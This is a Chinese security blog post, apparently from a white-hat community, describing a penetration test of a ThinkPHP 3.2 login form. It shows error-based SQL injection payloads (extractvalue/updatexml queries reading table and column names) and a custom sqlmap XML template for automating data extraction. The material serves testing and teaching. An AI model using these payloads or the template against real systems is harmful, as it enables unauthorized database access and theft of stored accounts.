某次报错注入到自定义sqlmap的payload全过程

  • A+
所属分类:安全文章

01

登录框存在sql注入:


通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存在sql注入:


某次报错注入到自定义sqlmap的payload全过程


成功读取到数据库版本:


某次报错注入到自定义sqlmap的payload全过程


02

尝试通过手工注入获取后台账户


遗憾的是sqlmap连注入都识别不出:


某次报错注入到自定义sqlmap的payload全过程


--proxy=http://127.0.0.1:8080,将sqlmap的流量转发到burp分析payload,发现sqlmap发出的包多加了一个AND:


某次报错注入到自定义sqlmap的payload全过程


换手工注入:


查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)


某次报错注入到自定义sqlmap的payload全过程


查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,结果报错了:


某次报错注入到自定义sqlmap的payload全过程


分析原因:报错注入的错误信息最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。查表名时,db_addo后面还有数据,所以db_addo这个表名是不全的。


limit分页:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)


//limit 3,1 读取第四条数据,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。


某次报错注入到自定义sqlmap的payload全过程


批量获取表名数据:


某次报错注入到自定义sqlmap的payload全过程


03

尝试更换sqlmap的payload全程自动化读取


理清sqlmap指定报错注入时获取数据的流程,三个重要标签:


payload>,vector,<grep>


1、首先获取payload标签的内容,这个标签也是我们可以控制的标签,这个标签就是用来判断是否有注入点,一般我们手动测到有报错注入的注入点的时候,就可以把payload放在这里


2、 接着对payload里面的[]中的标志位换成随机的字符或数字


3、然后对payload进行url编码,同时设置请求头,包括referer,host等信息


4、请求后返回获取的页面,然后将返回的页面和<grep>中的内容继续宁正则匹配,匹配后,如果返回值不为1,那么就会继续循环测试其它的payload。如果正则匹配返回值为1,那么,表示存在注入,此时就会进行其他数据的查询


5、返回值是1,接着就会调用vector,调用注入模板,将([query]),换为其它的payload,获取我们想要的信息。


添加payload。sqlmap的payload在sqlmap/xml/payloads目录下(新版本在data/xml/payloads下),关键是文件夹里的六个对应不同注入类型的配置文件和boundaries.xml文件。找到对应xml文件:


某次报错注入到自定义sqlmap的payload全过程


替换vector和payload标签中对应的值,标题、level、risk自定义即可,一个完整的模板以<test>,已</test>结束,这样得出适用于此场景的注入模板:


<test><title>Customed By Kevil (EXTRACTVALUE)</title><stype>2</stype><level>4</level><risk>1</risk><clause>1,2,3,8,9</clause><where>1</where><vector>EXTRACTVALUE([RANDNUM],CONCAT('','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector><request><payload>EXTRACTVALUE([RANDNUM],CONCAT('','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload></request><response><grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep></response><details><dbms>MySQL</dbms><dbms_version>&gt;= 5.1</dbms_version></details></test>


04

测试效果


某次报错注入到自定义sqlmap的payload全过程


由于sqlmap自带的payload并不适用于所有测试场景,很多时候手工验证或者其他工具(xray)扫描出来的sql注入,sqlmap都无法识别出注入,此时自定义sqlmap的payload就更方便读取大批量数据。


某次报错注入到自定义sqlmap的payload全过程

火线Zone社区火热上线啦!↓点击下方了解一下吧


火线Zone社区火热上线活动


【火线短视频精选】

用了这么多云服务,你的云服务到底安全吗?↓↓↓点击本期视频了解一下吧




【周度激励】


某次报错注入到自定义sqlmap的payload全过程


【相关精选文章】


记一次个人信息修改处的小技巧

信息收集系列之子域名发现(一)


火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火线小助手]加入。


我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!


欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!



某次报错注入到自定义sqlmap的payload全过程

某次报错注入到自定义sqlmap的payload全过程

某次报错注入到自定义sqlmap的payload全过程

本文始发于微信公众号(火线Zone):某次报错注入到自定义sqlmap的payload全过程

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: